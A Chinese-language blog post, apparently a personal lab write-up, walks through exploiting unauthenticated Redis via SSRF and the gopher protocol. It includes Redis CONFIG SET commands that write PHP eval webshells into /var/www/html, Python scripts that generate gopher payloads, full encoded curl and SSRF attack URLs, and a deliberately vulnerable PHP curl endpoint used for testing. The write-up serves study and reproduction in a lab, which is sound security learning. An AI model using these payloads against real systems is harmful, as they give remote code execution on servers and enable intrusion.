Redis在SSRF中的应用

前言

面试问到了,只知道有哪些,但是没有自己实践过。这里学习记录下。

前置知识

SSRF介绍

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统

CONFIG SET

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。

你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
SAVE

这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

这里本地测试下

tcpdump  port 6379 -w nopass.pcap

无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程

可以看到

中间还有很多乱码

后面才搞懂。是可以利用socat的,看一篇文章中的解释,没看清,我晕。

我们这里先开启redis-server /etc/redis.conf

在执行,意思为将4444端口收到的请求转发给6379端口(我TM就搁着浪费了2个小时,文章中没说清楚socat两个端口,还整一个6378和6379,哎,应该早点去百度下socat的命令的,煞x了)

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码

每行都是\r结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把\r转换为%0d%0a

客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gopher协议进行SSRF

Gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

当存在ssrf漏洞,并且有回显的时候

test.php
<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>

 

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell

  2. 写ssh公钥

  3. 写contrab计划任务反弹shell

我逐个来尝试复现

绝对路径写webshell

构造如下payload:

flushall
set 1 '<?php phpinfo();?>'
config set dir /var/www/html
config set dbfilename shell.php
save

整理获得如下payload

*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$18\r
<?php phpinfo();?>\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r

这里给出Joychu师傅给出的转换规则

  • 如果第一个字符是>或者那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • \r字符串替换成%0d%0a
  • 空白行替换为%0a

Joychu师傅的转换脚本:

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

再放一个七友师傅写的脚本:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

这里我们已经自己手动过滤了一下,用sinensis师傅写的即可

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print s.replace("$", "%24")

本地curl尝试

curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

这里也可以用gopherus,直接生成

curl -v "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

成功

在ssrf利用的时候将redis命令部分在进行urlencode一次即可(这里我用的是靶机 10003开的是80,10004开的redis的6379)

http://xx.xx.xx.28:10003/test.php?url=gopher://xx.xx.xx.28:10004/_*1%250d%250a%25248%250d%250aflushall%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252418%250d%250a%3C%3Fphp%20phpinfo()%3B%3F%3E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2Fvar%2Fwww%2Fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a

上面是我用自己生成的phpinfo payload打没有打成功。将gopher的payload再次urlencode一次后,发现能打成功。

http://xx.xxx.xx.xx:10003/test.php?url=gopher://xx.xxx.xxx.xx:10004/__%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527yunying%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

对比了一下第一次的payload,除了可能内容上我写的是phpinfo,而gopherus写的是shell

my:
gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2418%0d%0a<?php phpinfo();?>%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

gopherus:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27yunying%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

my:

gopherus:

 

my:

问题应该出在这两个换行,从我自己的可以看到,payload被一些乱码干扰到。所以gopherus这里换行的目的应该是不让乱码字符干扰payload

像Joychu师傅这里的是58个字符,这里payload前面用三个换行,结束用了四个换行,加上原来的一共61个

而上面gopherus生成的默认都是前两个后两个换行,可以从redis.py源码也能看到

这里在记录下\r\n的东西

Unix系统里,每行结尾只有“<换行>”,即“\n”;Windows系统里面,每行结尾是“<换行><回车>”,即“\n\r”;Mac系统里,每行结尾是“<回车>”。一个直接后果是,Unix/Mac系统下的文件在Windows里打开的话,所有文字会变成一行;而Windows里的文件在Unix/Mac下打开的话,在每行的结尾可能会多出一个^M符号

也就是说,再linux中直接用python脚本调用urlencode一次,默认每行结尾都有\n即%0a,但是RESP协议规定始终以CRLF结尾,即\r\n结尾,因此都会加一个\r,这样就满足了RESP协议的规定。就先写到这了,明儿继续,1点了睡觉~。

参考链接:

https://joychou.org/web/phpssrf.html

http://www.91ri.org/17111.html

https://xz.aliyun.com/t/1800

https://xz.aliyun.com/t/5616

https://xz.aliyun.com/t/5665#toc-13

https://blog.csdn.net/qq_41107295/article/details/103026470

https://blog.csdn.net/fly_hps/article/details/80937837

https://www.runoob.com/redis/redis-commands.html

工具:

https://xz.aliyun.com/t/5844

github搜索gopherus

环境:

docker部署(自己在里面安装需要的):https://github.com/justonly1/DockerRedis/blob/master/redis/Dockerfile

centos7,kali的自行搭建

猜你喜欢

转载自www.cnblogs.com/BOHB-yunying/p/12962057.html